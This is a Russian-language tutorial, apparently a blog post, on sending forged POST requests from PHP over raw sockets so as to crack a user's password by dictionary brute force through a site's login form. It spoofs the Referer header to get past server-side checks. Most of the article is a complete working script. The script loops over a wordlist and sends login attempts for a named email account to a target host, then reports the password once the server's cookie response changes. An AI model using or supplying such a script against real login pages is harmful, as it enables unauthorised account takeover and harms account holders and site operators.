Сокеты, взлом пароля брутфорсом, подделка Referer

В этой статье я расскажу как отправлять данные из php скрипта методом POST (как это делает обычная html форма) а так же как использовать подделанные запросы для брутфорса. Взламывать будем пароль пользователя через форму логина. Брутфорс (от англ. «brutal» — грубый и «force» — сила) подразумевает подбор пароля тупым перебором возможных вариантов пароля. Для этого существуют специальные словари на несколько тысяч слов. Обычно это текстовый файл, где каждое слово записано с новой строки.

// читаем словарь и заносим всё его содержимое в массив $file
$file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt');
foreach ($file as $password) {
    // проверяем каждый пароль ($password)
    // совпадает ли он с истинным паролем пользователя
}

Внутри цикла открываем соединение с сервером.
$fp = fsockopen('www.site.ru', 80, $errno, $errstr, 30);
В качестве параметров этой функции указываем хост для соединения (www.site.ru).
Затем порт (80), как правило другой номер порта используется редко.
$errno и $errstr получают установки, указывающие фактический уровень системной ошибки, в случае ошибки соединения, особой необходимости в них нет.
И последняя цифра (30) - это таймаут соединения, то есть сколько секунд будет ждать скрипт установки соединения. Если в течение 30 секунд не удалось установить соединение, то выдается ошибка о неудачном соединении.

Нужно изучить html-код формы и сформировать переменные и их значения, которые будем отправлять. Для этого составляем обычную строку, в которой прописываем переменные по тому же принципу, что и при передаче переменных в ссылке. Например:
$data = 'do=login&username=ekimoff@mail.ru&password=fuckoff'
В данном примере используются 3 переменные
1. do = login
2. username = ekimoff@mail.ru
3. password = fuckoff
Можете продолжать список переменных, разделяя их символом амперсанда "&".

Затем формируем HTTP-заголовки (тип запроса, данные о браузере, реферер).

$headers  = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php
$headers .= "Host: www.site.ru\r\n";
$headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n";
$headers .= "Referer: http:// www.site.ru\r\n"; // подделка Referer
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\n\n";
$headers .= $data."\n\n";

Отдельное внимание стоит уделить подделке реферера. Реферер показывает с какого адреса пришел запрос. Логично, что запрос должен придти с того же сайта, откуда мы отправляем данные формы. Однако реферер отсылает браузер пользователя и поэтому проверка на стороне сервера может лишь отсеять небольшую часть хакеров. Подделать реферер довольно просто: "Referer: http://www.site.ru\r\n".

В полученном ответе сервера содержатся заголовки и html-код документа

// получаем ответ
$line = '';
while (!feof($fp)) {
    $line .= fgets($fp, 1024);
}
echo $line; // ответ сервера

тут может быть 2 основных варианта:
1) авторизация прошла успешно
2) ошибка авторизации
Увидеть это можно в ответе сервера (echo $line). Т.е мы должны отправить серверу 2 запроса: с верными и неверными данными. Проанализировав оба ответа можно узнать как должен выглядеть ответ сервера при верном пароле. Например, в полученном ответе сервера переменная cookie password не должна быть равна «deleted». Как только это условие выполняется, значит, пароль подобран, и мы можем смело завершать цикл.

if (!strstr($line,'password=deleted')) {
    echo 'password: '.$password;
    break;
}

Полный код

<?php
$file = file($_SERVER['DOCUMENT_ROOT'].'/brut.txt');
foreach ($file as $password) { 

    // открываем сокет на хост www.site.ru
    $fp = fsockopen('www.site.ru', 80, $errno, $errstr, 3000); 

    // Проверяем успешность установки соединения
    if (!$fp) {
        echo $errstr.$errno; // вывод ошибки
    }
    else {
        // переменные
        $data = 'do=login&Submit=submit&username=ekimoff_sd@mail.ru&password='.$password; 

        // заголовки
        $headers  = "POST /login.php HTTP/1.1\r\n"; // POST-запрос для login.php
        $headers .= "Host: www.site.ru\r\n";
        $headers .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1\r\n";
        $headers .= "Referer: http://www.site.ru\r\n"; // подделка Referer
        $headers .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $headers .= "Content-Length: ".strlen($data)."\n\n";
        $headers .= $data."\n\n"; 

        // отправляем HTTP-запрос серверу
        fwrite($fp, $headers); 

        // получаем ответ
        $line = '';
        while (!feof($fp)) {
            $line .= fgets($fp, 1024);
        } 

        unset($headers);
        fclose($fp); 

        if (!strstr($line,'password=deleted')) {
            echo 'password: '.$password;
            break;
        }
    }
}
?>

Скорость брутфорса не велика и успех зависит от сложности пароля и используемого словаря.